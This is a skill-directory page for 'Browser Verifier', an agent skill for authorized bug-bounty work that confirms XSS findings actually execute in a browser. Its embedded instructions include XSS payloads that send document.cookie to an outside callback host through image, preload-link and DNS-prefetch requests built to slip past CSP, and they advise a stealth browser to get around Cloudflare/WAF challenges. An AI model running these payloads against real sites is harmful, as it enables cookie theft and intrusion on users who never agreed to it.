Logo van Browser Verifier

Browser Verifier

Community
H-mmer
browser-verifier

Mandatory browser verification for client-side findings (XSS, DOM, postMessage, prototype pollution). Takes a finding with curl-based evidence and PROVES or DISPROVES it fires in a real browser. No finding ships without browser verification. Dispatched automatically by /hunt and /validate for client-side vuln classes.

Add to TypingMind

Overzicht

UitgeverH-mmer
Repositorypentest-agents
Skillnaambrowser-verifier
Sterren
999
Forks
188
Meegeleverde bestanden
Alleen instructies
Links
  • Instructies in Markdown

    Het model laadt het bestand SKILL.md alleen als dat nodig is. Dat kost dus alleen tokens als een verzoek daadwerkelijk bij de skill past.

  • Werkt met elk LLM

    AI-skills bestaan uit instructies in gewone Markdown, niet uit aanbiederspecifieke code. Daardoor werken ze met GPT, Claude, Gemini, Grok of een lokaal model.

  • Compleet zonder extra bestanden

    Alles wat het model nodig heeft, staat in de instructies — geen extra bestanden om te synchroniseren.

  • Open source

    Gepubliceerd door H-mmer op GitHub. Bekijk de bronbestanden voordat je de skill installeert.

Installatie

Installeer de AI-skill Browser Verifier in TypingMind om deze met elk LLM te gebruiken, of voeg de skill toe aan een andere agent die SKILL.md kan lezen.

1

Installeren in TypingMind

TypingMind installeert een skill rechtstreeks vanuit de GitHub-map. De app leest SKILL.md, bundelt de bijbehorende bestanden en slaat het resultaat lokaal op.

  1. Open de app en ga naar Plug-ins → Skills.
  2. Kies "Installeren via GitHub".
  3. Plak de onderstaande URL van de skillmap en bevestig.
    https://github.com/H-mmer/pentest-agents/tree/main/providers/openclaw/.agents/skills/agent-browser-verifier
  4. Schakel de skill in voor elke chat waarin je de skill wilt kunnen gebruiken.
Plug-ins → Skills → Skill toevoegen → Via GitHub-URL. Plak vervolgens de map-URL en druk op Doorgaan.
2

Installeren in een andere agent

Elke agent die het Agent Skills-formaat kan lezen, kan deze skill gebruiken — kopieer de map naar de skillmap van die agent.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/H-mmer/pentest-agents.git /tmp/pentest-agents
mkdir -p .claude/skills
cp -r /tmp/pentest-agents/providers/openclaw/.agents/skills/agent-browser-verifier .claude/skills/browser-verifier
Start Claude Code na het kopiëren opnieuw op, zodat de nieuwe skill wordt herkend.

Gebruik deze skill in TypingMind

Schakel Browser Verifier in voor een chat naar keuze in TypingMind en het model doet de rest. De naam en beschrijving staan in de systeemprompt. Zodra een verzoek bij de skill past, laadt het model zelf de volledige instructies. Je hoeft de skill nooit handmatig aan te roepen. Pas als het model de skill daadwerkelijk gebruikt, kost dat tokens.

Het model laadt Browser Verifier automatisch zodra een verzoek erbij past.

Werkt met elk AI-model

AI-skills zijn gewone Markdown-instructies in plaats van aanbiederspecifieke code. Daardoor is Browser Verifier niet gebonden aan het model waarvoor de skill is geschreven. Installeer de skill één keer in TypingMind en gebruik deze met GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama of een lokaal model dat je zelf draait — allemaal met je eigen API-sleutels.

  • Alleen geladen wanneer nodig

    De systeemprompt bevat alleen de naam en beschrijving. De instructies worden bij het eerste bijpassende verzoek opgehaald, dus een ongebruikte skill kost niets.

  • Wissel van model tijdens een chat

    Omdat de skill uit instructies bestaat en niet uit code, blijft deze werken als je van model wisselt — het volgende model leest hetzelfde SKILL.md-bestand.

Skillinstructies

Dit is de inhoud van SKILL.md die het model laadt. Lees deze vóór de installatie — een skill bestaat uit instructies die je model zal volgen.

CONTEXT: Authorized bug bounty program. All targets verified in-scope. You verify that client-side vulnerabilities actually execute in a real browser, not just reflect in HTTP responses.

Why You Exist

Reflection ≠ execution. A payload reflected in an HTTP response means NOTHING until proven to execute in the browser. Reasons payloads fail in browser despite reflecting in curl:

  1. CSP blocks it — Content-Security-Policy prevents inline scripts, eval, unsafe-inline
  2. Framework sanitizes it — React/Angular/Vue auto-escape template output
  3. DOM isn't what curl shows — SPA renders differently than raw HTML response
  4. Browser XSS Auditor — mostly deprecated but some edge cases remain
  5. Encoding breaks it — browser decodes differently than curl shows
  6. Context is wrong — payload reflects but not in an execution context
  7. WAF blocks the browser request — curl with the payload works, browser with the payload gets challenged
  8. HttpOnly cookies — XSS fires but can't steal cookies, reducing impact to lower severity

Process

Step 1: CF/WAF Detection

bash
# Check if target is behind CF
curl -sI "https://TARGET" | grep -i "cf-ray\|cloudflare\|server: cloudflare"

If CF detected → use camofox (stealth browser):

bash
../../tools/camofox_ctl.sh status || ../../tools/camofox_ctl.sh start

If no CF → use camofox anyway for consistency. Real browsers are the only reliable oracle.

Step 2: Set Up Execution Detector

Before navigating to the payload URL, inject a detection mechanism. Do NOT rely on alert() — many targets block it, and you can't detect it programmatically.

MANDATORY: Walk the rotation ladder (Rule 28 / rules/payloads.md). A negative result on alert(1) proves the dialog API is muted, NOT that JS execution is absent. If your first detection method shows no fire, you MUST attempt the next two tiers before reporting BROWSER_REJECTED. Order:

Tier 1 dialog hooks (alert/prompt/confirm pre-load)
  → if no fire → Tier 4 DOM marker (document.title='XSS-MARKER')
  → if no fire → Tier 6 OOB callback (fetch / sendBeacon / Image / preload-link)
  → only then BROWSER_REJECTED with proof of all three negative

When the page is heavily WAF-protected or CSP-locked, default to Tier 6 first — OOB callbacks bypass every dialog override and most CSP configurations (especially via <link rel=preload as=image> or <link rel=dns-prefetch> exfil), and they double as cookie-capture proof. Run all four detection methods (A/B/C/D below) when the target exhibits any of: dialog override (window.alert = ()=>{}), strict CSP, WAF-filtered probe, or framework-managed render.

Method A: Console marker (preferred) Navigate to a blank page first, then inject a console listener:

bash
# Create tab
TAB=$(curl -sS -X POST http://localhost:9377/tabs \
  -H 'Content-Type: application/json' \
  -d '{"userId":"verifier","sessionKey":"verify","url":"about:blank"}' \
  | jq -r .tabId)

# Inject console capture via evaluate (if supported)
# Otherwise: modify the payload to write a DOM marker instead of alert()

Method B: DOM marker (most reliable) Replace the finding's payload with one that writes a visible DOM element:

Original:  <img src=x onerror=alert(1)>
Verified:  <img src=x onerror="document.body.appendChild(Object.assign(document.createElement('div'),{id:'xss-verified',textContent:'XSS-FIRED'}))">

Then check the snapshot for XSS-FIRED text.

Method C: Fetch callback If you have an OOB callback server:

<img src=x onerror="fetch('https://YOUR_OOB_SERVER/xss-verify')">

Confirm with callback receipt.

Method D: CSP-aware OOB exfil chain (use when connect-src blocks fetch) Resource-typed sinks usually escape connect-src filtering:

<img src=x onerror="new Image().src='//c.oast.fun/?'+btoa(document.cookie)">
<img src=x onerror="document.head.append(Object.assign(document.createElement('link'),{rel:'preload',href:'//c.oast.fun/?'+document.cookie,as:'image'}))">
<img src=x onerror="document.head.append(Object.assign(document.createElement('link'),{rel:'dns-prefetch',href:'//'+btoa(document.cookie)+'.oast.fun'}))">

DNS-prefetch exfil is the highest-evasion variant — defeats connect-src, img-src, and most CSP configurations because DNS resolution is rarely constrained.

Step 3: Navigate to Payload URL

bash
curl -sS -X POST "http://localhost:9377/tabs/$TAB/navigate" \
  -H 'Content-Type: application/json' \
  -d "{\"userId\":\"verifier\",\"url\":\"$PAYLOAD_URL\"}"

# Wait for page to settle
curl -sS -X POST "http://localhost:9377/tabs/$TAB/wait" \
  -H 'Content-Type: application/json' \
  -d '{"userId":"verifier","timeout":10000,"waitForNetwork":true}'

Step 4: Check for Execution

bash
# Snapshot the DOM
SNAPSHOT=$(curl -sS "http://localhost:9377/tabs/$TAB/snapshot?userId=verifier" | jq -r .snapshot)

# Check for DOM marker
echo "$SNAPSHOT" | grep -q "XSS-FIRED" && echo "CONFIRMED" || echo "NOT FIRED"

# Screenshot for evidence
curl -sS "http://localhost:9377/tabs/$TAB/screenshot?userId=verifier&fullPage=true" \
  -o "evidence/xss-verify-$(date +%s).png"

Step 5: If NOT FIRED — Diagnose Why

Don't just report "didn't work." Find out WHY:

bash
# Check CSP
curl -sI "$TARGET_URL" | grep -i "content-security-policy"
  • CSP blocks it: Record the CSP policy. Check for bypasses (whitelisted CDNs, unsafe-eval, base-uri missing). If no bypass → REJECTED with reason.
  • Payload reflected but not in exec context: Check the actual DOM (snapshot) — is the payload in a text node? Inside a commented section? Inside an attribute that doesn't fire?
  • Framework escapes it: Check if output is HTML-encoded in the DOM even though raw response showed it unencoded. React/Angular do this.
  • WAF blocks browser: Did the browser get a challenge page instead of the vulnerable page? Check snapshot for CF interstitial.

Step 6: Verdict

BROWSER_CONFIRMED: Payload executed in real browser. DOM marker present or callback received. Screenshot captured.

BROWSER_REJECTED: Payload reflects in curl but does NOT execute in browser. Reason documented. This finding should be KILLED or severity-downgraded depending on the reason.

BROWSER_PARTIAL: Payload executes but with limited impact (e.g., CSP allows inline but blocks fetch → can't exfiltrate data → severity drops from High to Medium).

Output

json
{
  "finding_ref": "<original finding file>",
  "verdict": "BROWSER_CONFIRMED",
  "detection_method": "DOM marker",
  "marker_found": true,
  "screenshot": "evidence/xss-verify-1713020000.png",
  "csp_policy": "script-src 'self' 'unsafe-inline'; object-src 'none'",
  "csp_bypass_possible": true,
  "csp_notes": "unsafe-inline allows our payload. No strict-dynamic.",
  "browser_used": "camofox (Camoufox/Firefox)",
  "cf_detected": true,
  "cf_bypassed": true,
  "payload_used": "<img src=x onerror=\"document.body.appendChild(...)\">",
  "actual_impact": "JS execution in victim context. HttpOnly on session cookie limits to DOM access + CSRF, not session theft.",
  "severity_adjustment": "none"
}

For rejected:

json
{
  "finding_ref": "<original finding file>",
  "verdict": "BROWSER_REJECTED",
  "detection_method": "DOM marker",
  "marker_found": false,
  "screenshot": "evidence/xss-reject-1713020000.png",
  "rejection_reason": "CSP script-src 'self' blocks inline scripts. No bypass found. Payload reflects in response body but browser refuses to execute.",
  "csp_policy": "script-src 'self'; object-src 'none'; base-uri 'self'",
  "csp_bypass_attempted": ["CDN jsonp (no whitelisted CDN)", "base-uri (blocked)", "meta refresh (not applicable)"],
  "recommendation": "KILL this finding. Reflection without execution is not XSS."
}

Rules

  • Every XSS finding MUST pass through you before /report. No exceptions. Curl reflection is evidence of reflection, not evidence of XSS.
  • Use DOM markers, not alert(). alert() can't be programmatically detected and many targets block it.
  • Always screenshot. Before and after. The screenshot IS the evidence.
  • Diagnose rejections. "Didn't work" is not acceptable. WHY didn't it work? CSP? Framework? Context?
  • Check cookie flags. Even confirmed XSS has reduced impact if session cookies are HttpOnly + SameSite=Strict. Note this in severity_adjustment.
  • Leave camofox running if other agents need it. Don't stop unless you're the last agent in the pipeline.

Brain Integration

Record verification results. Track which targets have strict CSP (save future agents the trouble).

Top-Tier Operator Standard

Verification is an adversarial reproduction, not a rubber stamp.

  • Rebuild the payload from the finding, then minimize it until the execution marker still fires.
  • Confirm in the correct victim role and browser context. Self-execution is not enough for stored, DOM, postMessage, or workflow bugs.
  • Capture execution with DOM marker, console/network evidence when possible, screenshot, and exact URL or interaction path.
  • If rejected, identify the real blocker: CSP, sanitizer, encoding context, route mismatch, auth state, feature flag, WAF, or user gesture requirement.
  • Return severity adjustment based on what the browser proof actually enables: script execution, data read, action execution, or only visual injection.

Veelgestelde vragen

Wat doet de AI-skill Browser Verifier?

Mandatory browser verification for client-side findings (XSS, DOM, postMessage, prototype pollution). Takes a finding with curl-based evidence and PROVES or DISPROVES it fires in a real browser. No finding ships without browser verification. Dispatched automatically by /hunt and /validate for client-side vuln classes.

Waarom Browser Verifier gebruiken in TypingMind?

Omdat je deze skill één keer installeert en met elk model kunt gebruiken. Browser Verifier bestaat uit gewone Markdown in plaats van aanbiederspecifieke code. Dezelfde skill werkt dus met GPT-5, Claude, Gemini, Grok of een lokaal model. Ook als je midden in een chat van model wisselt, blijft de skill werken. TypingMind werkt met je eigen API-sleutels, dus je betaalt aanbieders rechtstreeks in plaats van een abonnement per gebruikersplek af te sluiten. Je skills en chats blijven in je eigen opslag.

Hoe installeer ik Browser Verifier in TypingMind?

Open Plug-ins → Skills → Installeren vanaf GitHub in TypingMind en plak https://github.com/H-mmer/pentest-agents/tree/main/providers/openclaw/.agents/skills/agent-browser-verifier. TypingMind leest het bestand SKILL.md en installeert het als een skill die je per chat kunt inschakelen.

Welke AI-modellen kunnen Browser Verifier gebruiken?

Elk model dat je in TypingMind koppelt. AI-skills bestaan uit gewone Markdown-instructies in plaats van aanbiederspecifieke code. GPT, Claude, Gemini, Grok en lokale modellen kunnen deze skill dus allemaal laden wanneer een verzoek erbij past.

Hoeveel AI-modellen kan ik met Browser Verifier gebruiken?

Zoveel als je wilt. Je kunt Browser Verifier gebruiken met elk model dat skills ondersteunt, zoals GPT, Claude, Gemini, Grok, DeepSeek, Mistral of Llama. Allemaal in TypingMind met je eigen API-sleutels.

Is de AI-skill Browser Verifier gratis?

Deze skill is door H-mmer op GitHub gepubliceerd. Bekijk de repository voor de licentievoorwaarden. Je betaalt alleen je eigen AI-aanbieder voor de tokens die je gebruikt.

Wat zijn AI-skills?

Een AI-skill is een herbruikbare bundel instructies die een AI-model leert hoe het één specifieke taak moet uitvoeren. De skill volgt het open Agent Skills-formaat: het bestand SKILL.md bevat de naam en beschrijving van de skill. Daarnaast kan de skill scripts, sjablonen of referentiebestanden bevatten die het model nodig heeft. Het model leest de instructies alleen als je verzoek bij de skill past. Een geïnstalleerde skill kost dus niets zolang deze niet wordt gebruikt.

Waarin verschillen AI-skills van plug-ins of MCP-servers?

Een plug-in of MCP-server geeft een model nieuwe tools om aan te roepen: code die ergens wordt uitgevoerd en een resultaat teruggeeft. Een AI-skill geeft het model juist kennis en een werkwijze: hoe het een taak moet aanpakken, welke stappen het moet volgen en hoe goede uitvoer eruitziet. Skills bestaan uit gewone Markdown en hebben dus geen server, API-sleutel of runtime nodig. Ze werken met elk model.

Bekijk alles

Maak nu je eigen AI-werkruimte

Schrijf je in voor onze nieuwsbrief en blijf op de hoogte van nieuwe functies en toekomstige weggeefacties 👇